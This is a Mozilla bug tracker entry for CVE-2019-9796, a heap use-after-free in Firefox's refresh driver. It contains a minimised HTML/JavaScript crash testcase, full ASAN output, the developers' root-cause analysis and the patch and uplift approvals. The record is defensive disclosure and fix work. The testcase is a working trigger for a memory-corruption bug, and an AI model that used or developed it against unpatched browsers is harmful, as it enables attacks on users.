1531277 - (CVE-2019-9796) heap-use-after-free in nsRefreshDriver::Tick (mozilla::SMILAnimationController)

Multiple Authors

Description

•

6 years ago

•

Edited

Attached file crash.html (minimised testcase) — Details

The following testcase crashes the latest ASAN build of Firefox 67.0a1 (SourceStamp=198cd4a81bf2afa7cc79360f90da7bc91218b76d). It usually takes about 30 seconds to trigger.

crash.html

<script>
function start() {
	o13=document.documentElement;
	o209=document.createElement('div');
	o209.innerHTML='<svg><audio>';
	o211=o209.firstChild.getElementsByTagName('*')[0];
	o234=document.createElement('div');
	o234.innerHTML='<svg><title>';
	o241=o234.firstChild.getElementsByTagName('*')[0];
	o257=document.createElement('div');
	o257.innerHTML='<svg><font-face>';
	o272=o257.firstChild.getElementsByTagName('*')[0];
	o392=window.document;
	o392.write('<html><body></body></html>');
	o409=o392.head;
	o611=o392.createElement('style');
	o409.appendChild(o611);
	o611.textContent=':first-line{';
	o764=o241.ownerDocument;
	o765=o764.head;
	o771=document.createElement('style');
	o846=document.createElementNS('http://www.w3.org/2000/svg','animate');
	o13.appendChild(o846);
	o898=o272.ownerDocument;
	o898.close();
	o898.write('<html><body></body></html>');
	o1109=document.createElement('div');
	o1109.innerHTML='<svg>';
	o898.close();
	o1121=o771.contentEditable=true;
	o1252=document.createElement('iframe');
	window.top.document.body.appendChild(o1252);
	o1387=document.documentElement;
	try{o898.appendChild(o898.replaceChild(o898.documentElement,o898.documentElement));}catch(e){}
	o1443=o1252.contentDocument;
	o1444=o1443.write(unescape('%0d'));
	o1443.appendChild(o13);
	o1387.appendChild(o211);
	o211.appendChild(o765);
	o13.appendChild(o771);
	o13.appendChild(o1109);
	window.top.setTimeout(fun0,4);
}
function fun0() {
	o898.appendChild(o1443.replaceChild(o898.documentElement,o1443.documentElement));
	for(var x=0;x<1444;x++)eval("delete o" + x);
}
</script>
<body onload="start()"></body>

ASAN output:

=================================================================
==26274==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110001eecc0 at pc 0x7f048f5cb63b bp 0x7ffde4ccbc30 sp 0x7ffde4ccbc28
READ of size 8 at 0x6110001eecc0 thread T0 (file:// Content)
    #0 0x7f048f5cb63a in AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:44:39
    #1 0x7f048f5cb63a in AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:361
    #2 0x7f048f5cb63a in RefPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:104
    #3 0x7f048f5cb63a in nsRefreshDriver::Tick(mozilla::layers::BaseTransactionId<mozilla::VsyncIdType>, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1849
    #4 0x7f048f5dc0f9 in TickDriver /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:342:13
    #5 0x7f048f5dc0f9 in mozilla::RefreshDriverTimer::TickRefreshDrivers(mozilla::layers::BaseTransactionId<mozilla::VsyncIdType>, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:319
    #6 0x7f048f5db9e8 in mozilla::RefreshDriverTimer::Tick(mozilla::layers::BaseTransactionId<mozilla::VsyncIdType>, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:336:5
    #7 0x7f048f5dfc2f in RunRefreshDrivers /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:772:5
    #8 0x7f048f5dfc2f in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::layers::BaseTransactionId<mozilla::VsyncIdType>, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:692
    #9 0x7f048f5dedea in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::VsyncEvent const&) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:592:9
    #10 0x7f04900c8925 in mozilla::layout::VsyncChild::RecvNotify(mozilla::VsyncEvent const&) /builds/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:65:16
    #11 0x7f04867fd17b in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:168:54
    #12 0x7f04863c6477 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:2808:28
    #13 0x7f0485bee789 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2150:21
    #14 0x7f0485bea58a in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2077:9
    #15 0x7f0485bec791 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1936:3
    #16 0x7f0485bed557 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1967:13
    #17 0x7f048495e1d6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1162:14
    #18 0x7f048496607d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:474:10
    #19 0x7f0485bf7b8f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #20 0x7f0485adfe6e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #21 0x7f0485adfe6e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #22 0x7f0485adfe6e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #23 0x7f048eee6473 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #24 0x7f0493a86b2e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:908:20
    #25 0x7f0485adfe6e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #26 0x7f0485adfe6e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #27 0x7f0485adfe6e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #28 0x7f0493a85c83 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:746:34
    #29 0x555a37a7e874 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:49:28
    #30 0x555a37a7e874 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:265
    #31 0x7f04a8a80b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #32 0x555a379a3efc in _start (/home/nils/browser/firefox/firefox/firefox+0x2defc)

0x6110001eecc0 is located 64 bytes inside of 200-byte region [0x6110001eec80,0x6110001eed48)
freed by thread T0 (file:// Content) here:
    #0 0x555a37a4ba22 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
    #1 0x7f048e666315 in mozilla::SMILAnimationController::Release() /builds/worker/workspace/build/src/dom/smil/SMILAnimationController.cpp:109:1
    #2 0x7f0488c2efb1 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:45:40
    #3 0x7f0488c2efb1 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:362
    #4 0x7f0488c2efb1 in ~RefPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:76
    #5 0x7f0488c2efb1 in mozilla::dom::Document::~Document() /builds/worker/workspace/build/src/dom/base/Document.cpp:1593
    #6 0x7f048ce27929 in ~nsHTMLDocument /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:186:36
    #7 0x7f048ce27929 in nsHTMLDocument::~nsHTMLDocument() /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:186
    #8 0x7f0484751cd8 in MaybeKillObject /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2428:29
    #9 0x7f0484751cd8 in SnowWhiteKiller::Visit(nsPurpleBuffer&, nsPurpleBufferEntry*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2457
    #10 0x7f0484726035 in void nsPurpleBuffer::VisitEntries<SnowWhiteKiller>(SnowWhiteKiller&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:941:23
    #11 0x7f0484727818 in nsCycleCollector::FreeSnowWhiteWithBudget(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2622:14
    #12 0x7f0486d62759 in AsyncFreeSnowWhite::Run() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:142:9
    #13 0x7f0484981e72 in IdleRunnableWrapper::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:319:22
    #14 0x7f048495e1d6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1162:14
    #15 0x7f048496607d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:474:10
    #16 0x7f0485bf7b8f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #17 0x7f0485adfe6e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #18 0x7f0485adfe6e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #19 0x7f0485adfe6e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #20 0x7f048eee6473 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #21 0x7f0493a86b2e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:908:20
    #22 0x7f0485adfe6e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #23 0x7f0485adfe6e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #24 0x7f0485adfe6e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #25 0x7f0493a85c83 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:746:34
    #26 0x555a37a7e874 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:49:28
    #27 0x555a37a7e874 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:265
    #28 0x7f04a8a80b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

previously allocated by thread T0 (file:// Content) here:
    #0 0x555a37a4bda3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
    #1 0x555a37a8063d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
    #2 0x7f0488c8b3da in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
    #3 0x7f0488c8b3da in mozilla::dom::Document::GetAnimationController() /builds/worker/workspace/build/src/dom/base/Document.cpp:6102
    #4 0x7f048df03ea2 in mozilla::dom::SVGAnimationElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*) /builds/worker/workspace/build/src/dom/svg/SVGAnimationElement.cpp:147:48
    #5 0x7f0488d00491 in mozilla::dom::Element::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*) /builds/worker/workspace/build/src/dom/base/Element.cpp:1743:17
    #6 0x7f048cdf7417 in nsGenericHTMLElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*) /builds/worker/workspace/build/src/dom/html/nsGenericHTMLElement.cpp:423:33
    #7 0x7f048cd6f9b3 in mozilla::dom::HTMLSharedElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*) /builds/worker/workspace/build/src/dom/html/HTMLSharedElement.cpp:236:29
    #8 0x7f0489021209 in nsINode::InsertChildBefore(nsIContent*, nsIContent*, bool) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1269:23
    #9 0x7f048902cec7 in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2389:14
    #10 0x7f0489c65ba9 in InsertBefore /builds/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1684:12
    #11 0x7f0489c65ba9 in AppendChild /builds/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1687
    #12 0x7f0489c65ba9 in mozilla::dom::Node_Binding::appendChild(JSContext*, JS::Handle<JSObject*>, nsINode*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/NodeBinding.cpp:1021
    #13 0x7f048c09fd38 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3144:13
    #14 0x7f0493d67b97 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:440:13
    #15 0x7f0493d67b97 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:532
    #16 0x7f0493d6a152 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:603:8
    #17 0x7f0494a227b1 in js::ForwardingProxyHandler::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:162:10
    #18 0x7f04949db671 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:238:19
    #19 0x7f0494a00f50 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:501:19
    #20 0x7f0493d68be9 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:506:14
    #21 0x7f0493d4f9df in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:591:10
    #22 0x7f0493d4f9df in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3051
    #23 0x7f0493d32738 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:420:10
    #24 0x7f0493d68506 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:560:13
    #25 0x7f0493d6a152 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:603:8
    #26 0x7f049494b016 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2623:10
    #27 0x7f048b6a9d29 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:266:37
    #28 0x7f048c952e69 in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
    #29 0x7f048c9500f9 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205:12
    #30 0x7f048c902f3a in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1042:51
    #31 0x7f048c905513 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1237:17
    #32 0x7f048c8e56b0 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:350:5
    #33 0x7f048c8e56b0 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:351
    #34 0x7f048c8e38d8 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:553:16
    #35 0x7f048c8ea523 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1044:11

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:44:39 in AddRef
Shadow bytes around the buggy address:
  0x0c2280035d40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280035d50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280035d60: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c2280035d70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280035d80: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x0c2280035d90: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
  0x0c2280035da0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0c2280035db0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c2280035dc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c2280035dd0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa
  0x0c2280035de0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==26274==ABORTING

Nils

Reporter

Comment 1

•

6 years ago

Attached file ASAN output — Details

Alex Gaynor [:Alex_Gaynor]

Updated

•

6 years ago

Group: core-security → dom-core-security

Alex Gaynor [:Alex_Gaynor]

Updated

•

6 years ago

Keywords: csectype-uaf, sec-high

Andrew McCreight [:mccr8]

Comment 2

•

6 years ago

Brian, any idea who might be able to investigate this? SMILAnimationController is involved. Thanks.

Flags: needinfo?(bbirtles)

Brian Birtles (:birtles)

Assignee

Comment 3

•

6 years ago

Sure, I'll have a look later today.

Assignee: nobody → bbirtles

Status: NEW → ASSIGNED

Component: DOM: Animation → SVG

Flags: needinfo?(bbirtles)

Brian Birtles (:birtles)

Assignee

Comment 4

•

6 years ago

Running this test case in a trunk build with --enable-debug, I see we trip up on the assertion that checks that we don't register with the refresh driver redundantly:

https://searchfox.org/mozilla-central/rev/00f3836a87b844b5e4bc82f698c559b9966e4be2/dom/smil/SMILAnimationController.cpp#235-236

That happens in response to one of the appendChild calls:

  mozilla::SMILAnimationController::StartSampling(nsRefreshDriver*)
  mozilla::SMILAnimationController::MaybeStartSampling(nsRefreshDriver*)
  mozilla::SMILAnimationController::AddChild(mozilla::SMILTimeContainer&)
  mozilla::dom::SVGSVGElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*)
  mozilla::dom::Element::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*)
  nsGenericHTMLElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*)
  nsINode::InsertChildBefore(nsIContent*, nsIContent*, bool)
  nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) 
  nsINode::InsertBefore(nsINode&, nsINode*, mozilla::ErrorResult&)
  nsINode::AppendChild(nsINode&, mozilla::ErrorResult&)
  ...

Stepping back with rr, I see that the initial registration happens in response to another appendChild call:

  mozilla::SMILAnimationController::StartSampling(nsRefreshDriver*)
  [ Not shown here is the call to SMILController::NotifyRefreshDriverCreated which presumably got inlined ]
  mozilla::PresShell::Init(mozilla::dom::Document*, nsPresContext*, nsViewManager*, mozilla::UniquePtr<mozilla::ServoStyleSet, mozilla::DefaultDelete<mozilla::ServoStyleSet> >)
  mozilla::dom::Document::CreateShell(nsPresContext*, nsViewManager*, mozilla::UniquePtr<mozilla::ServoStyleSet, mozilla::DefaultDelete<mozilla::ServoStyleSet> >)
  nsDocumentViewer::InitPresentationStuff(bool)
  nsDocumentViewer::Show()
  nsDocShell::SetVisibility(bool)
  nsFrameLoader::Show(int, int, int, int, nsSubDocumentFrame*)
  nsSubDocumentFrame::ShowViewer()
  AsyncFrameInit::Run()
  nsContentUtils::RemoveScriptBlocker()
  nsAutoScriptBlocker::~nsAutoScriptBlocker()
  mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush)
  nsIPresShell::FlushPendingNotifications(mozilla::ChangesToFlush)
  mozilla::dom::Document::FlushPendingNotifications(mozilla::ChangesToFlush)
  nsHTMLDocument::EditingStateChanged()
  nsHTMLDocument::MaybeEditingStateChanged()
  mozAutoDocUpdate::~mozAutoDocUpdate()
  nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) 
  nsINode::InsertBefore(nsINode&, nsINode*, mozilla::ErrorResult&)
  nsINode::AppendChild(nsINode&, mozilla::ErrorResult&)
  mozilla::dom::Node_Binding::appendChild(JSContext*, JS::Handle<JSObject*>, nsINode*, JSJitMethodCallArgs const&)
  ...

Some background on how all this appears to work:

SMILAnimationController tracks:
- Time containers (SMILTimeContainer)
- Animation elements (SVGAnimationElement)
It only registers with the refresh driver when it has at least one of each
If it gets a call to MaybeStartSampling but it doesn't have at least one animation element, it sets an mDeferredStartSampling flag and waits until it has one.
It should probably never call MaybeStartSampling if it doesn't have at least one time container.

What appears to be happening is that we don't check the last point in NotifyRefreshDriverCreated. As a result, we end up registering with the refresh driver there, and then when we get our first time container some time later, we end up registering again.

As a result we end up registering the SMILAnimationController with the refresh driver twice. We'll only remove it once however, and since nsTObserverArray::RemoveElement only removes the first match it finds we end up with a dangling pointer in the refresh driver's observer array, hence the UAF.

The simplest fix would be just to check the child container count in NotifyRefreshDriverCreated. Let me put up a patch for that. Once that's on all the branches it might be worth writing a more thoroughgoing patch that:

Moves the checks for both the number of elements and number of child containers to MaybeStartSampling
Upgrades a few NS_ASSERTIONs to MOZ_ASSERTs (particularly the ones in the SMILAnimationController dtor)

Brian Birtles (:birtles)

Assignee

Comment 5

•

6 years ago

Attached file Bug 1531277 - Check child container count in NotifyRefreshDriverCreated; r?dholbert — Details

Brian Birtles (:birtles)

Assignee

Comment 6

•

6 years ago

Attached patch Patch for release/ESR — Details — Splinter Review

Just in case, here is a version of the same patch rebased for Release/ESR since the file touched in this patch has been renamed between beta and release.

Robert Longson [:longsonr]

Comment 7

•

6 years ago

Is an array the right data structure at all here. Does anything want/need to register twice or could nsObserverArray become nsObserverMap?

Alternatively if we want to stick with an array should registering twice be a nop?

Brian Birtles (:birtles)

Assignee

Comment 8

•

6 years ago

Maybe not, but if we're going to change nsRefreshDriver's storage of observers we should probably do that in a separate bug. I'd like to keep this bug as simple and low risk as possible so we can uplift it.

Robert Longson [:longsonr]

Comment 9

•

6 years ago

Absolutely, that was more of a comment for your more thoroughgoing patch.

Brian Birtles (:birtles)

Assignee

Comment 10

•

6 years ago

Comment on attachment 9047579 [details]
Bug 1531277 - Check child container count in NotifyRefreshDriverCreated; r?dholbert

Security Approval Request

How easily could an exploit be constructed based on the patch?: Somewhat easily.

From the patch the attacker could easily suspect that there was something amiss with the way we register with the refresh driver and generate combinations of content that exercise this. If they use a debug build a failing assertion it would alert them when they had found an unsound pattern.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
Which older supported branches are affected by this flaw?: All
If not all supported branches, which bug introduced the flaw?: None
Do you have backports for the affected branches?: Yes
If not, how different, hard to create, and risky will they be?: n/a
How likely is this patch to cause regressions; how much testing does it need?: Unlikely. It simply adds a check that avoids redundant registration.

As a result it shouldn't need much testing. If it passes all tests in automation it should be sound. I have run the relevant SMIL tests locally (dom/smil/test, dom/smil/crashtests, layout/reftests/svg/smil) and they all pass.

Attachment #9047579 - Flags: sec-approval?

Ryan VanderMeulen [:RyanVM]

Updated

•

6 years ago

status-firefox65: --- → wontfix

status-firefox66: --- → affected

status-firefox-esr60: --- → affected

tracking-firefox66: --- → +

tracking-firefox67: --- → +

tracking-firefox-esr60: --- → 66+

Al Billings [:abillings - ex-MoCo]

Comment 11

•

6 years ago

Comment on attachment 9047579 [details]
Bug 1531277 - Check child container count in NotifyRefreshDriverCreated; r?dholbert

Sec-approval+ for trunk. We'll want Beta and ESR60 patches nominated ASAP as well.

Attachment #9047579 - Flags: sec-approval? → sec-approval+

Brian Birtles (:birtles)

Assignee

Comment 12

•

6 years ago

Comment on attachment 9047579 [details]
Bug 1531277 - Check child container count in NotifyRefreshDriverCreated; r?dholbert

Beta/Release Uplift Approval Request

Feature/Bug causing the regression: Bug 590425
User impact if declined: Potentially exploitable UAF.
Is this code covered by automated tests?: Yes
Has the fix been verified in Nightly?: No
Needs manual test from QE?: No
If yes, steps to reproduce:
List of other uplifts needed: None
Risk to taking this patch: Low
Why is the change risky/not risky? (and alternatives if risky): It simply adds an extra check that avoids redundant registration.
String changes made/needed: none

Attachment #9047579 - Flags: approval-mozilla-beta?

Brian Birtles (:birtles)

Assignee

Comment 13

•

6 years ago

Comment on attachment 9047581 [details] [diff] [review]
Patch for release/ESR

ESR Uplift Approval Request

If this is not a sec:{high,crit} bug, please state case for ESR consideration: n/a
User impact if declined: Potentially exploitable UAF.
Fix Landed on Version: 67 (hoping to uplift to 66)
Risk to taking this patch: Low
Why is the change risky/not risky? (and alternatives if risky): It simply adds an extra check that avoids redundant registration.
String or UUID changes made by this patch: None

Attachment #9047581 - Flags: approval-mozilla-esr60?

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Comment 14

•

6 years ago

https://hg.mozilla.org/integration/autoland/rev/6ec4f0415d9ae3bdbce6d32a81b137a0bc1a42a9
https://hg.mozilla.org/mozilla-central/rev/6ec4f0415d9a

Group: dom-core-security → core-security-release

Status: ASSIGNED → RESOLVED

Closed: 6 years ago

status-firefox67: affected → fixed

Resolution: --- → FIXED

Target Milestone: --- → mozilla67

Liz Henry (:lizzard) (relman/hg->git project)

Comment 15

•

6 years ago

Comment on attachment 9047579 [details]
Bug 1531277 - Check child container count in NotifyRefreshDriverCreated; r?dholbert

Looks good to me, let's land this for beta 14.

Attachment #9047579 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Ryan VanderMeulen [:RyanVM]

Comment 16

•

6 years ago

Comment on attachment 9047581 [details] [diff] [review] Patch for release/ESR Also approved for 60.6esr.

Attachment #9047581 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Comment 17

•

6 years ago

uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/b72048157f18

status-firefox66: affected → fixed

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Comment 18

•

6 years ago

uplift

https://hg.mozilla.org/releases/mozilla-esr60/rev/b29af68a0c5a

status-firefox-esr60: affected → fixed

Bogdan Maris, Desktop Test Engineering

Updated

•

6 years ago

Flags: qe-verify+

Whiteboard: [post-critsmash-triage]

Oana Botisan, Desktop QA

Comment 19

•

